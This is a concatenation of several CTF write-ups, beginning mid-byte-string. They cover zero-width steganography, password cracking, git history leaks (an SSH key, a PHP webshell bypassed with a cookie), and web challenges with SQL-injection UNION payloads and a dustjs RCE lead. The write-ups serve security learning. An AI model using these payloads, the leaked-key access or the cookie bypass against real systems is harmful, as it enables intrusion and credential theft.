e2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\xac\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\x8d\xef\xbb\xbf\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\xac\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xef\xbb\xbf\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\x8d\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xef\xbb\xbf\xe2\x80\xac\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf\xe2\x80\x8c\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xe2\x80\xac\xe2\x80\x8d\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xef\xbb\xbf\xef\xbb\xbf\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xe2\x80\xac\xef\xbb\xbf\xe2\x80\xac\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8c\xe2\x80\x8d\xef\xbb\xbf'[Finished in 0.1s]```
Notice there are 4 types of characters:- `\xe2\x80\x8c`- `\xe2\x80\x8d`- `\xe2\x80\xac`- `\xef\xbb\xbf`
The title **Dimension 0** given a hint that should be related to binary (because 0,1)
Therefore I replace the characters to `0,1,2,3`, then see the pattern```pyimport retext = open("dimension_0.html",'r').read()text = re.findall("<title>(.*)</title>",text)[0]text = text.replace("Dimension",'').replace(" ",'').replace("0",'')print text.replace("\xe2\x80\x8c",'0').replace("\xe2\x80\x8d",'1').replace("\xe2\x80\xac",'2').replace("\xef\xbb\xbf",'3')```Result:```00001212000012300000120100001213000013230000130300001310000012110000121300001233000011330000121200001302000012330000123100001133000013100000122000001211000011330000132200001211000013020000123300001133000013130000122100001210000013100000122000001133000012100000122100001231000012110000123200001303000012210000123300001232000013```Notice the 4 zero pattern, I guess it should be Base 4 number
Then I tried to decode it in python, I know guessed correctly:```py>>> chr(int("1212",4))'f'>>> chr(int("1230",4))'l'>>> chr(int("1201",4))'a'>>> chr(int("1213",4))'g'```I simply use the `long_to_bytes` function in Crypto module to convert the numbers to bytes:```pyimport refrom Crypto.Util.number import long_to_bytestext = open("dimension_0.html",'r').read()text = re.findall("<title>(.*)</title>",text)[0]text = text.replace("Dimension",'').replace(" ",'').replace("0",'')text = text.replace("\xe2\x80\x8c",'0').replace("\xe2\x80\x8d",'1').replace("\xe2\x80\xac",'2').replace("\xef\xbb\xbf",'3')print long_to_bytes(int(text,4))```Result:```?`?�???p?�?0?@?P?p?�?�?`? ?�?�?�?@?�?P?�?�?P? ?�?�?p?�?@?@?�?�?@?�?�?P?�?0?�?�?�?[Finished in 0.1s]```Something was wrong..
Notice the last character only got 2 number:```...0000123300001232000013```Then I tried to add 2 zero then i works!```'f\x00l\x00a\x00g\x00{\x00s\x00t\x00e\x00g\x00o\x00_\x00f\x00r\x00o\x00m\x00_\x00t\x00h\x00e\x00_\x00z\x00e\x00r\x00o\x00_\x00w\x00i\x00d\x00t\x00h\x00_\x00d\x00i\x00m\x00e\x00n\x00s\x00i\x00o\x00n\x00p'```Lastly cut the string 2 by 2 characters:```pyprint long_to_bytes(int(text+"00",4))[::2]# flag{stego_from_the_zero_width_dimensionp```The last character should be `}`, thats the flag!
## Flag```flag{stego_from_the_zero_width_dimension}``` |
# Wolfie's Password
> We have found another device which is password protected but he uses same password everywhere find his password>> Note: Use the same file provided in Wolfie's Contacts>> Flag Format: darkCTF{password}
The file is an E01 device.
## Description
I mount the device using [OSFMount](https://www.osforensics.com/tools/mount-disk-images.html) and explore the different folders. On one of them (`not important files`) I stumble across an encrypted rar file.
I guess the password from the rar file will be the password we are looking for, so I will try to crack it using [John the ripper](https://www.openwall.com/john/).
## Solution
Using the following commands gives me the password:
``` bashrar2john readme.rar > readme.txtjohn --wordlist=rockyou.txt readme.txt```
Then I put the password inside `darkCTF{}` to get the flag.
Flag: `darkCTF{easypeasy}` |
Downloaded the image.bin file.Checked to see what kind of file it was:``` ~ > CTFs > bssides_bos > amnesia > file image.binimage.bin: data```just a data file.
Let's use strings to see if we can find flag within the filewhole bunch of stuff shows up if we only grep for flag ...let's bring the search more relevant to us```~ > CTFs > bssides_bos > amnesia > strings image.bin | grep flag\{f.games/?flag=flag{forensic_cookie_hunter}```
Bingo!! Flag is: flag{forensic_cookie_hunter} |
# Spot the Difference
Category: forensics
Challenge Description:
After downloading the provided zip file and decompressing it we get the following folder structure.```.├── badfiles│ ├── 008532319cb53713de8ef1c979ab526d.jpg│ ├── 010bd1036defc5c5df774b48ad86f346.jpg ---snip---│ ├── f98ccd474e089f36b0a47b1076fe738a.jpg│ ├── fa055d2192fb8c3efdb3fe822614f591.jpg│ ├── fa876aeb5d26aa440db92f64231f7828.jpg│ └── ff599f67660fe4d920ce9de2161702f9.jpg├── .config│ ├── Reminder.png│ ├── Reminder.zip│ └── secret├── Downloads│ └── DownUnderCTF _ FAQs.pdf├── Images│ ├── 1onp4t.jpg│ ├── download.jfif│ ├── NPC_wojak_meme.png│ └── p072ms6r.jpg├── Messages│ └── Annotation 2020-09-10 184734.png├── Music│ └── EhD-T_UUwAAYjx1.jfif└── Videos └── tenor.gif
8 directories, 212 files```Based on the description we are supposed to use steghide to extract information from the images in badfiles directory.
After looping through each of them with an empty passphrase there was no luck.
Looking through the rest of the directories. Under .config there is a secret directory with a lot of txt files with base64 encoded content.
After decoding a few of them which ended up being just garbage data, I used this command to loop through each one of them and grep out any word longer than 5 chars.
```shfor i in $(find . -type f); do cat $i | base64 -d | strings | grep -w '\w\{5,50\}' ;done```
Then using that 1234IsASecurePassword as the passphrase with steghide with the command below resulted in getting the flag in SecretMessage.txt that was hidden in one of the many images.
```shfor i in $(find . -type f); do steghide extract -q -p '1234IsASecurePassword' -sf $i;done```
flag: DUCTF{m0r3_th4n_M33ts_th3_ey3}
|
ctftime doesn't seem to display all the emojis correctly, so the full writeup is [here](https://github.com/mephi42/ctf/tree/master/2020.09.26-0CTF_TCTF_2020_Finals/Emoji%20Revenge).
## TL;DR
* [Exploit](https://github.com/mephi42/ctf/tree/master/2020.09.26-0CTF_TCTF_2020_Finals/Emoji%20Revenge/pwnit.py)* Inspired by: PlaidCTF 2020 [EmojiDB](https://ctftime.org/task/11311) ([my solution](https://github.com/mephi42/ctf/tree/master/2020.04.17-PlaidCTF_2020/EmojiDB/pwnit.py))* [Glibc bug](https://sourceware.org/bugzilla/show_bug.cgi?id=20568)* [mmap_min_addr](https://www.kernel.org/doc/Documentation/sysctl/vm.txt)* [UTF-32 to UTF-8](https://stackoverflow.com/a/42013433/3832536)* Send {beer} in a loop until `mmap()` returns `NULL`.* Send {horse} with shellcode at offset 0, infinite loop at offset 0x200, and 70 {cow}s at the end.* Wait until `SIGALRM` happens.* The shell appears:```$ cat flagflag{thanks_again_Plaid_CTF_i_found_th1s}``` |
# Fancy Caesar Cipher```We RSA encrypted the flag, but forgot to save the private key. Is it possible to recover the flag without it?
Download the file below.```[fancy_caesar_cipher.py](fancy_caesar_cipher.py) [fancy_caesar_cipher.out](fancy_caesar_cipher.out)
We are given the Python source code and the output
It is a typical RSA decryption challenge:```pyfrom Crypto.Util.number import getStrongPrimefrom fractions import gcdfrom secret import flag
def get_key(e=65537, bit_length=2048): while True: p = getStrongPrime(bit_length, e=e) q = getStrongPrime(bit_length, e=e) if gcd(e, (p - 1) * (q - 1)) == 1: return e, p * q
def encrypt(e, n, m): return [((ord(c) ** e) % n) for c in m]
e, n = get_key()
print("Generated key:")print(e)print(n)
print("Encrypted flag:")print(encrypt(e, n, flag))```Notice the encrypt function, it **encrypts the flag characters one by one**
The public key is also given, means we can just find the plaintext by just **brute forcing the ciphertext:**```pyflag = ""for o in out: # Brute force every printable character for i in range(32,127): # If the ciphertext are equal then the plaintext found if pow(i,e,n) == o: flag += chr(i) breakprint flag ```Result:```flag{phwd_iodj_lv_phwd}```Notice the flag is encrypted by Caesar Cipher, simply shift it by 23 become `meta_flag_is_meta`
[Python script](solve.py)
## Flag```flag{meta_flag_is_meta}``` |
# Docs Writeup
EkoParty CTF 2020 Git 2
## Prompt
Exact prompt has been forgotten. Linked to [this GitHub repo](ekolabs.tar.gz)
## Solution
As I mentioned in the writeup for [leak](../leak), I was in a very `github`by mindset when I started this challenge. For that reason, I solved this challenge first.
A quick inspection of the repo shows that it features an accidentally committed SSH private key and matching public key. I copied the text of these out of the commit log, and into [chall](chall) and [chall.pub](chall.pub). Now I have ssh access, however what to?
The next part of this challenge involves the git actions for the repo, in `.github/workflows/`. In there we get an `issue-bouncer.yml` and corresponding `issue-bouncer.py`. Reading through these two, we notice something useful:
```ymlDST_REPO: 'ekoparty2020/ekoparty-internal'```
The python script essentially moves an issue to that `DST_REPO`, so I figured why not try to clone it?
```basheval `ssh-agent` && ssh-add chall && git clone [email protected]:ekoparty2020/ekoparty-internal.git```> Note: I had to modify permissions on the private key `chall` to get this to work.
This clones [the internal repo](ekoparty-internal.tar.gz), which conveniently features our flag in the root `README.md`
```EKO{1ca688c86b0548d8f26675d85dd77d73c573ebb6}```
~ Lyell Read |
Description: Common mistake in web deploymentsUrl: http://head.eko.cap.tf:30000
After following the link we ar prompted with empty page but a password prompt. Since this was a GIT challenge and the name was `HEAD`. I wondered if there could be the `.git` folder present as that is a common mistake (for example running static client--side-rendered FE apps from CDN, forgotting to exclude the `.git` folder)
So i tried to query```http://head.eko.cap.tf:30000/.git/HEAD```
and indeed got```ref: refs/heads/master```
as a response. After some googling I found [gitdumper](https://github.com/internetwache/GitTools/blob/master/Dumper/gitdumper.sh) tool I've used to dump the whole repository from the `.git` folder.
There appears to be only one file - `index.php` which seems to be a b374k php shell.```".gz'.'un'.'com'....```
`$func` variable seems to be little obfuscated version of some base64 packed payload, lets investigate further before trying to decode that.
Those are all commits in the repository:```commit b7d095eea87d18b2a1ca4a68733d5266bbc19de4 (HEAD -> master)Author: DC <[email protected]>Date: Thu Sep 24 03:03:50 2020 +0000
Final commit
commit 26925bc713d9cfc666112c9cc62ab49c6671a03eAuthor: DC <[email protected]>Date: Thu Sep 24 03:02:53 2020 +0000
Bad files removal
commit 179e12491a2628c71bb854514f3b05cdf7cb546dAuthor: DC <[email protected]>Date: Thu Sep 24 03:02:21 2020 +0000
Security enhance
commit 783ec943507158f27e4921963c8a2d7bfd02999d (before_second_sec_fix)Author: DC <[email protected]>Date: Thu Sep 24 03:01:38 2020 +0000
File creation
commit 5d6b2408488d0f29d687610a49cab40298a6d01bAuthor: DC <[email protected]>Date: Thu Sep 24 02:49:03 2020 +0000
First commit
commit 96575dcf9117e54d34233c1bac9bf5d4efda7103Author: DC <[email protected]>Date: Thu Sep 24 02:42:16 2020 +0000
Final commit
commit 39f280f51d37fdc3a0181a0802ae2214041faaf7Author: DC <[email protected]>Date: Thu Sep 24 02:41:57 2020 +0000
Bad files
commit 190507b3bd67dff13d168ffd0886f60e77b7d2fa (first_sec_fix)Author: DC <[email protected]>Date: Thu Sep 24 02:41:03 2020 +0000
Security enhance
commit 71693af6f6a71b39e0e10375163daafe94e4af20 (before_first_sec_fix)Author: DC <[email protected]>Date: Thu Sep 24 02:39:40 2020 +0000
File creation
commit c95c2b60fadf178c1a3ac84c6c404a308e919987Author: DC <[email protected]>Date: Thu Sep 24 02:38:45 2020 +0000
Repo init```
Those security enhance commits looks intereseting, lets look at them.
The first security commit reveals the hash that is in `../secret` in the recent version.
So first thing we need that ```sha1(md5(pass)) == GLOBAL['pass'] == 1e7a1d03e274e66e22bfabf2d8f4a0408970e354```
Lets check the other security improvement commit:
Here we see an even older password hash, but we can also see the php shell code in plaintext! Lets curve out just the `auth` function```if(!function_exists('auth')){ function auth(){ if(isset($GLOBALS['pass']) && (trim($GLOBALS['pass'])!='')){ $c = $_COOKIE; $p = $_POST; if(isset($p['pass'])){ $your_pass = sha1(md5($p['pass'])); if($your_pass==$GLOBALS['pass']){ setcookie("pass", $your_pass, time()+36000, "/"); header("Location: ".get_self()); } }
if(!isset($c['pass']) || ((isset($c['pass'])&&($c['pass']!=$GLOBALS['pass'])))){ $res = " <html> <head> <meta charset='utf-8'> <meta name='robots' content='noindex, nofollow, noarchive'> <meta name='viewport' content='width=device-width, initial-scale=1.0, maximum-scale=1.0, user-scalable=no, user-scalable=0'> </head> <body style='background:#f8f8f8;color:#000000;padding:0;margin:0;'><center><noscript>You need to enable javascript</noscript></center> <script type='text/javascript'> var d = document; d.write(\"<form method='post'><center><input type='password' id='pass' name='pass' style='font-size:34px;width:34%;outline:none;text-align:center;background:#ffffff;padding:8px;border:1px solid #cccccc;border-radius:8px;color:#000000;'></center></form>\"); d.getElementById('pass').focus(); d.getElementById('pass').setAttribute('autocomplete', 'off'); </script> </body></html> "; echo $res; die(); } } }}```
<center><noscript>You need to enable javascript</noscript></center>
For unhealthy amount of time I though that this loose comparison is the way to proceed, however that hash was not in `0e[0-9]` format, so I lost alot of time on that.Then I decided to just go through every line in the code and mark down whatever is it doing. After getting here it pinched me.```if($your_pass==$GLOBALS['pass']){ setcookie("pass", $your_pass, time()+36000, "/"); header("Location: ".get_self());}```
Wait, after the authentication is sucessful it just set cookie `pass` with the correct pass, which is equal to `$GLOBALS['pass']`. We already know that! After altering browser cookies with `pass: 1e7a1d03e274e66e22bfabf2d8f4a0408970e354` and refresh the page we are in!
I was unable to switch to the parent directory in the UI, but I've noticed another `cookie` appear with value `path: /var/ww/html/` so after altering that to `path: /var/ww/` we can see the `flag.txt` file and open it in the webshell.
Flag: EKO{m4st3r_0f_g1t} |
# Leak Writeup
EkoParty CTF 2020 Git 1
## Prompt
Exact prompt has been forgotten. Linked to [this GitHub repo](ekolabs.tar.gz)
## Solution
This solution was quite obscure, as I approached this challenge in a `github` mindset, not a `ctf::misc` one. In light of this, I solved [the second challenge](../docs) first :P
When I got on to solving this one, it took me several runs through the full commit history of the repo before seeing this:
```bash$ git log -p
...
commit c21dbf5185a4dbdb5b2bd2f3d1d3b266c3a2271eAuthor: Matías A. Ré Medina <[email protected]>Date: Fri Sep 11 13:03:19 2020 -0400
oops
...
diff --git a/.ssh/id_rsa.pub b/.ssh/id_rsa.pubdeleted file mode 100644index 3cf8765..0000000--- a/.ssh/id_rsa.pub+++ /dev/null@@ -1 +0,0 @@-ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRKS8bh5B2ctUxrS0JsrlYmw/pJPOr7N3BRtdrdswXu7AnoxohsNX7D6gPt5oHb3Map2XMSqj3ukDrBWgL/qfiCfU4g5Fc1J4QkedDTiDq2+YeanaLgKyPqrvrg+lZwOIhfNXSliaxKI+YqgEy+n8s4ZhPGQYbpPjxDW/2ubn7iz60G+Px7q6BVvmRZlHe2IWylmG1WagL3pHFsJ83UyfgyFdvPqYoDkjVK+/+E4IGXaKXwHst2sVC+6DEU1YF3jJXFqeunY+Q3/dgxWXIbF7qpYGGJusEziHzjPX7Kwk4t1aW+afbREt7aDchx7KM/hDP/CBOYntwVA5qOG9L2rr6hbTTVMIqQxn2WAXtcBgc4Od4kMNAQt/8cvFsciApJ6RS++FPIwx8gJJCe/OZYdRl19/Fv+j9xi7dIiET4SqCUPz3nionKvMjvPvrd/42P9xw+niY+3gJEtIZjMb66Let+GuUew68bjz2DRlJSOtSNzP/MspNtUa5bY/4bmUMAHc= ekoparty-deploy@RUtPezc0NGFkN2ZlOGU2Y2U1ZTg4NWFkMjRlZWYyNDNiMWZkMTFkMGZiN2V9```
That computer hostname does not look normal at all... Let's use [Cyber Chef](https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true)&input=UlV0UGV6YzBOR0ZrTjJabE9HVTJZMlUxWlRnNE5XRmtNalJsWldZeU5ETmlNV1prTVRGa01HWmlOMlY5Cg) to turn that into ASCII
```EKO{744ad7fe8e6ce5e885ad24eef243b1fd11d0fb7e}```
~ Lyell Read |
# BlockChain :
## Hide & Seek 50 :
- Step 1: As one hint is given in challenge about the "Type of Network" so quickly open [```Ropsten Test Network```](https://ropsten.etherscan.io/).- Step 2: Copy the address from challenge Address:```0xD1F1588598352C73E3797d3F28eAFeCb638700bB``` and paste in Ropsten network.- Step 3: Ok it'll looks like as given in image, now you need to analyse each and every transactions one-by-one. (Instead of doing that There's an trick look for only those transaction which has been cancelled or failed.- Step 4: Ok, there's total 9 failed transactions, now this's not a big task... "How to anaylse these transaction" Follow up these steps down! - 1. Click on any failed transaction suppose say I click on first one now you'll notice some information about the transaction. - 1. For looking over the data inside this transaction you need to scroll down and look for ```Click to see More``` click on that and input data would be there in the hex format simply view as ```UTF-8 in View as Input link```. - 1. Boom!! You've your flag! Wait a sec that's not real flag for real flag do follow these step on every failed transactions. - 1. Now you'll definetly get your flag at this location [Real Flag](https://ropsten.etherscan.io/tx/0x1d9e846aff27ef177f0cbc072b04d0a4fbdc3439332f2d536e65e5a43c146789) Flag: ```HACSEC{h1d33N_4S_d474}```.
## I WannaCry 50:
- Step 1: Now this time You need to switch your netwowrk from ```Ropsten --> [Blockchain](https://www.blockchain.com/btc/tx/)``` process is same but this time youe need to find the address of hacker through which the attack was happned or transaction were made. Iterate your addresses on this network you'llget u'r flag.- Step 2: [Flag Location](https://www.blockchain.com/btc/tx/b4fb81c941ae859a4a21a6f5f5c825282a09d85eeb10f2448b2dcb0693792007). Flag: ```HACSEC{1BwibwNo9nNzyHyZ5bw9ziFAwcM6KKHUq1}```.
## Shards 100 :
- Step 1: this's quite tricky chall, now this time you need to make a transaction or verify it.- Step 2: [Flag location](https://ropsten.etherscan.io/tx/0xdc9397c7bb1da65d538b7a4deace1ff50638d23d1229322c6aab20b0bbe9f296) [ABI data](https://www.paste.org/110133) you need to encode ABI in hex format then It'll accept it as "ABI-Encoded" try any online encoder like [try this:](https://abi.hashex.org/#) and copy paste Source code available on the flag location mentioned above and verify you'll get flag in failed transaction. Flag : ```HACSEC{Sm4R7_C0n7R4c7s_4r3_fuN}``` click on above flag location and move on state here scroll down click 2nd transaction details check out Storage (2nd) look flag as text format. |
[Original Writeup](https://github.com/NickWingate/Writeups/blob/master/HACON_CTF/Web/RoboReturns.md)(https://github.com/NickWingate/Writeups/blob/master/HACON_CTF/Web/RoboReturns.md) |
##### Table of Contents- [Web](#web) - [Source](#source) - [So_Simple](#so-simple) - [Apache Logs](#apache-logs) - [Simple_SQL](#simple-sql) - [Dusty Notes](#dusty-notes) - [Agent U](#agent-u) - [PHP Information](#php-information) - [Chain Race](#chain-race)- [OSINT](#osint) - [Dark Social Web](#dark-social-web)- [Forensics](#forensics) - [AW](#aw)- [Crypto](#crypto) - [haxXor](#haxxor)- [Misc](#misc) - [Minetest 1](#minetest1)- [Linux](#linux) - [linux starter](#linux-starter) - [Secret Vault](#secret-vault) - [Squids](#squids)
# Web## Source#### Description>Don't know source is helpful or not !!
### SolutionWe get the source code of the challenge (you can see it below):```php<html> <head> <title>SOURCE</title> <style> #main { height: 100vh;} </style> </head> <body><center><link rel="stylesheet" href="https://www.w3schools.com/w3css/4/w3.css"> 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>'); } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ohhhhh!!! Very Close </div>'); } } else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Nice!!! Near But Far</div>'); }} else { echo ('<div class="w3-panel w3-red"><h3>Wrong!</h3> Ahhhhh!!! Try Not Easy</div>');}?></center>
darkCTF{}
Ohhhhh!!! Very Close
Nice!!! Near But Far
Ahhhhh!!! Try Not Easy
</body></html>```
In order to get the flag we need to pass the next validations:```php$web = $_SERVER['HTTP_USER_AGENT'];if (is_numeric($web)){ if (strlen($web) < 4){ if ($web > 10000){ echo ('<div class="w3-panel w3-green"><h3>Correct</h3> darkCTF{}</div>');```- \$web = \$_SERVER['HTTP_USER_AGENT']; represents the User-Agent header- \$web needs to be numeric- \$web needs to have a length smaller than 4- \$web needs to be bigger than 10000
darkCTF{}
In PHP, we can provide numbers as exponentials expressions and what I mean by that are expressions like `5e52222`. This will translate into 5 * 10 ^ 52222.Knowing this, we fire up Burp, change the `User-Agent` to `9e9` which:- is numeric- has a length of 3- it is equals to 9000000000 which is bigger than 10000
After hitting send we get the flag.
Flag: darkCTF{changeing_http_user_agent_is_easy}
## So_Simple#### Description>"Try Harder" may be You get flag manually>>Try id as parameter### SolutionWe get a link that displays a simple page that says try harder. The only clue I could find on how to start finding a vulnarblity was from the description. I tried a get request with `id` as parameter with the value test and I compared the result with a request that does not have the parameter.
The left panel contains the response from the request with the `id` parameter set to `test`.
I noticed that the server responds with an additional `font` tag when the parameter is present, so I tried an input like `';"//` and I got a MySQL error. Now it is clear that the parameter is vulnerable to SQL injection. Below is a table with the payloads that I used and the results. I used as resource [PayloadAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/SQL%20Injection/MySQL%20Injection.md) repo.
Payload | Result | Summary--------|--------|--------`' union select 1, 2, group_concat("~", schema_name, "~") from information_schema.schemata where '1' = '1` | `~information_schema~,~id14831952_security~,~mysql~,~performance_schema~,~sys~` | Number of columns of current table and databases names`' union select 1, 2, group_concat("~", table_name, "~") from information_schema.tables where table_schema='id14831952_security` | `~emails~,~referers~,~uagents~,~users~` | Table names from id14831952_security`' union select 1, 2, group_concat("~", column_name, "~") from information_schema.columns where table_name='users` | `~id~,~username~,~password~,~USER~,~CURRENT_CONNECTIONS~,~TOTAL_CONNECTIONS~` | Column names from table users`' union select 1, 2, group_concat("~", username, "~") from users where 'a'='a` | `~LOL~,~Try~,~fake~,~its secure~,~not~,~dont read~,~try to think ~,~admin~,~flag~` | Values from column username, table users`' union select id, password, username from users where username='flag` | `darkCTF{uniqu3_ide4_t0_find_fl4g}` | Got the flag, it was in the password column
Flag: darkCTF{uniqu3_ide4_t0_find_fl4g}
## Apache Logs#### Description >Our servers were compromised!! Can you figure out which technique they used by looking at Apache access logs.>>flag format: DarkCTF{}
### SolutionWe get a text file with logs of the requests made. For example:```text192.168.32.1 - - [29/Sep/2015:03:28:43 -0400] "GET /dvwa/robots.txt HTTP/1.1" 200 384 "-" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Looking into them, we can see that someone makes some login attempts, a registration and it tries a few endpoints. By the final of the file we have some SQL injection attempts. There are 3 interesting logs, let us look into them.
```text192.168.32.1 - - [29/Sep/2015:03:37:34 -0400] "GET /mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C+108%2C+97%2C+103%2C+32%2C+105%2C+115%2C+32%2C+83%2C+81%2C+76%2C+95%2C+73%2C+110%2C+106%2C+101%2C+99%2C+116%2C+105%2C+111%2C+110%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details HTTP/1.1" 200 9582 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=something&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Notice that the `username` parameter contains what appears to be a SQLi payload. URL decoding it gives us `' union all select 1,String.fromCharCode(102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110),3 --+`. I used Javascript to convert the integers to characters with the next two lines of code:
```jslet integersArray = [102, 108, 97, 103, 32, 105, 115, 32, 83, 81, 76, 95, 73, 110, 106, 101, 99, 116, 105, 111, 110];let charactersArray = integersArray.map(nr =>String.fromCharCode(nr));console.log(charactersArray.join(''));```This gave me `flag is SQL_Injection`, but this is not the flag, I tried it. Let us look further.
```text192.168.32.1 - - [29/Sep/2015:03:38:46 -0400] "GET /mutillidae/index.php?csrf-token=&username=CHAR%28121%2C+111%2C+117%2C+32%2C+97%2C+114%2C+101%2C+32%2C+111%2C+110%2C+32%2C+116%2C+104%2C+101%2C+32%2C+114%2C+105%2C+103%2C+104%2C+116%2C+32%2C+116%2C+114%2C+97%2C+99%2C+107%29&password=&confirm_password=&my_signature=®ister-php-submit-button=Create+Account HTTP/1.1" 200 8015 "http://192.168.32.134/mutillidae/index.php?page=register.php" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```Decoding the payload gives us `CHAR(121, 111, 117, 32, 97, 114, 101, 32, 111, 110, 32, 116, 104, 101, 32, 114, 105, 103, 104, 116, 32, 116, 114, 97, 99, 107)` that represents `you are on the right track`. Cool, let us move forward.
```text192.168.32.1 - - [29/Sep/2015:03:39:46 -0400] "GET /mutillidae/index.php?page=client-side-control-challenge.php HTTP/1.1" 200 9197 "http://192.168.32.134/mutillidae/index.php?page=user-info.php&username=%27+union+all+select+1%2CString.fromCharCode%28102%2C%2B108%2C%2B97%2C%2B103%2C%2B32%2C%2B105%2C%2B115%2C%2B32%2C%2B68%2C%2B97%2C%2B114%2C%2B107%2C%2B67%2C%2B84%2C%2B70%2C%2B123%2C%2B53%2C%2B113%2C%2B108%2C%2B95%2C%2B49%2C%2B110%2C%2B106%2C%2B51%2C%2B99%2C%2B116%2C%2B49%2C%2B48%2C%2B110%2C%2B125%29%2C3+--%2B&password=&user-info-php-submit-button=View+Account+Details" "Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/45.0.2454.101 Safari/537.36"```
Decoding the payload gives us a similar array of numbers that represents `flag is DarkCTF{5ql_1nj3ct10n}`
Flag: DarkCTF{5ql_1nj3ct10n}
## Simple_SQL#### Description>Try to find username and password>[Link](http://simplesql.darkarmy.xyz/)
### SolutionGoing to the provided link and looking at the source code of the page, we can see the next clue: ` `Firing up Burp and fuzzing around the `id` parameter, we notice that we can inject SQL with `1 or 2=2`, getting as a response `Username : LOL Password : Try `.
I wanted to know what are the first 10 entries, so I went with `id=1` and I stopped at `id=9` because that entry contains the flag, so no SQLi needed.
Flag: darkCTF{it_is_very_easy_to_find}
## Dusty Notes #### Description>Sometimes some inputs can lead to flagPS :- All error messages are intended ### SolutionWe get a link that gives us the next page:
Long story short, we can add and delete notes. Playing with some requests in Burp I noticed that the cookie changes on every new note added or deleted. It turns out the cookie stores an array of objects in the next form: `j:[{"id":1,"body":"Hack this"}]`I assume this is some kind of serialized value that I need to exploit (not really, keep reading), but I have no idea what programming language runs on the server, so I modified the cookie into `j:[{"id":1,"body":"Hack this"},{"id":1,"body":__FILE__}]` hoping to find out more.Fortunately, the server responded with an error message that tells us that the server runs on Node.js.```textTypeError: note.filter is not a function at /app/app.js:96:34 at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at next (/app/node_modules/express/lib/router/route.js:137:13) at Route.dispatch (/app/node_modules/express/lib/router/route.js:112:3) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:95:5) at /app/node_modules/express/lib/router/index.js:281:22 at param (/app/node_modules/express/lib/router/index.js:354:14) at param (/app/node_modules/express/lib/router/index.js:365:14) at Function.process_params (/app/node_modules/express/lib/router/index.js:410:3) at next (/app/node_modules/express/lib/router/index.js:275:10) at Layer.handle [as handle_request] (/app/node_modules/express/lib/router/layer.js:91:12) at trim_prefix (/app/node_modules/express/lib/router/index.js:317:13) at /app/node_modules/express/lib/router/index.js:284:7 at Function.process_params (/app/node_modules/express/lib/router/index.js:335:12) at next (/app/node_modules/express/lib/router/index.js:275:10) at urlencodedParser (/app/node_modules/body-parser/lib/types/urlencoded.js:82:7)```However, this doesn't give us much, so fuzzing a bit more I get the next error message for `j:[{"id":1,"body":["Hack this'"]}]`:
```json{"stack":"SyntaxError: Unexpected string\n at Object.if (/home/ctf/node_modules/dustjs-helpers/lib/dust-helpers.js:215:15)\n at Chunk.helper (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:769:34)\n at body_1 (evalmachine.<anonymous>:1:972)\n at Chunk.section (/home/ctf/node_modules/dustjs-linkedin/lib/dust.js:654:21)\n at body_0 (evalmachine.<anonymous>:1:847)\n at /home/ctf/node_modules/dustjs-linkedin/lib/dust.js:122:11\n at processTicksAndRejections (internal/process/task_queues.js:79:11)","message":"Unexpected string"}```Looking into this response, I noticed the error is thrown from `dustjs`. I didn't know about it, but I searched for `dustjs exploit` and I found some good articles ([here's one](https://artsploit.blogspot.com/2016/08/pprce2.html)) about a RCE vulnerability.
